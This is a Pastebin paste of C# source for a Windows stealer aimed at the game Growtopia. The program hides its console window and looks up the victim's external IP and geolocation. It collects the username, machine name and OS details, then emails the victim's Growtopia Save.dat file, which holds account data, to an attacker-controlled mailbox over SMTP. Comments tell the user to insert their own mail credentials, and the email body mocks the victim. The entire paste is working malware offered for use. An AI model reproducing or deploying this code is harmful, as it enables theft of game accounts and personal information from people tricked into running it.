Advertisement
mrwongthenoob

Untitled

May 30th, 2016
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.24 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Net;
  6. using System.Net.Mail;
  7. using System.Runtime.InteropServices;
  8. using System.Text;
  9. using System.Threading.Tasks;
  10. using System.Management;
  11.  
  12. namespace donaldtrump
  13. {
  14. class Program
  15. {
  16. [DllImport("user32.dll")]
  17. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  18.  
  19. [DllImport("Kernel32")]
  20. private static extern IntPtr GetConsoleWindow();
  21.  
  22. const int SW_HIDE = 0;
  23. const int SW_SHOW = 5;
  24.  
  25. static void Main(string[] args)
  26. {
  27. IntPtr hwnd;
  28. hwnd = GetConsoleWindow();
  29. ShowWindow(hwnd, SW_HIDE);
  30. string externalip = new WebClient().DownloadString("http://icanhazip.com");
  31. externalip = new System.Net.WebClient().DownloadString("http://bot.whatismyipaddress.com");
  32. externalip = new System.Net.WebClient().DownloadString("http://ipinfo.io/ip");
  33. string growtopia = "\\Growtopia\\Save.dat";
  34. string growtopia2 = "\\Growtopia\\";
  35. string kek = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
  36. var kekz = new DirectoryInfo(kek + growtopia2);
  37. kekz.Attributes &= ~FileAttributes.ReadOnly;
  38. string lol = externalip.ToUpper();
  39. string geoip = new WebClient().DownloadString("http://api.predator.wtf/geoip/?arguments=" + externalip);
  40. string betterip = "http://api.predator.wtf/geoip/?arguments=" + externalip;
  41. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass; string savedat;
  42. //REMEMBER TO ENABLE SO APPS CAN SEND EMAIL!
  43. gmailUser = "changethisemail"; // CHANGE THIS CHANGE THIS CHANGE THIS
  44. gmailPass = "changethispassword"; // CHANGE THIS CHANGE THIS CHANGE THIS
  45. toEmail = gmailUser;
  46. fromEmail = gmailUser;
  47. string userName = Environment.UserName;
  48. string computerName = System.Environment.MachineName.ToString();
  49. subject = Environment.UserName + " / " + computerName + "s Save.dat - " + Environment.UserName;
  50.  
  51. body = "This son of a bitch " + Environment.UserName + " Opened it.\n" + "Some info:\n" + geoip + "\n" + "\n" + "Or check his Info in better format here: " + betterip + "\n" + "Username: " + Environment.MachineName + "\n" + "Windows Build: " + Environment.OSVersion + "\n" + "Location Opened in: " + Environment.CurrentDirectory + "\n" + "Is 64Bit: " + Environment.Is64BitOperatingSystem + "\n" + "\n" + "He gives you this noob file!";
  52.  
  53.  
  54.  
  55. savedat = kek + growtopia;
  56. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  57. SmtpClient smtp = new SmtpClient("smtp.mail.yahoo.com",587);
  58.  
  59. smtp.EnableSsl = true;
  60. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  61.  
  62. if (savedat != string.Empty || savedat != null)
  63. {
  64. Attachment attach = new Attachment(savedat);
  65. message.Attachments.Add(attach);
  66. }
  67.  
  68. smtp.Send(message);
  69. return;
  70. }
  71.  
  72.  
  73. }
  74. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement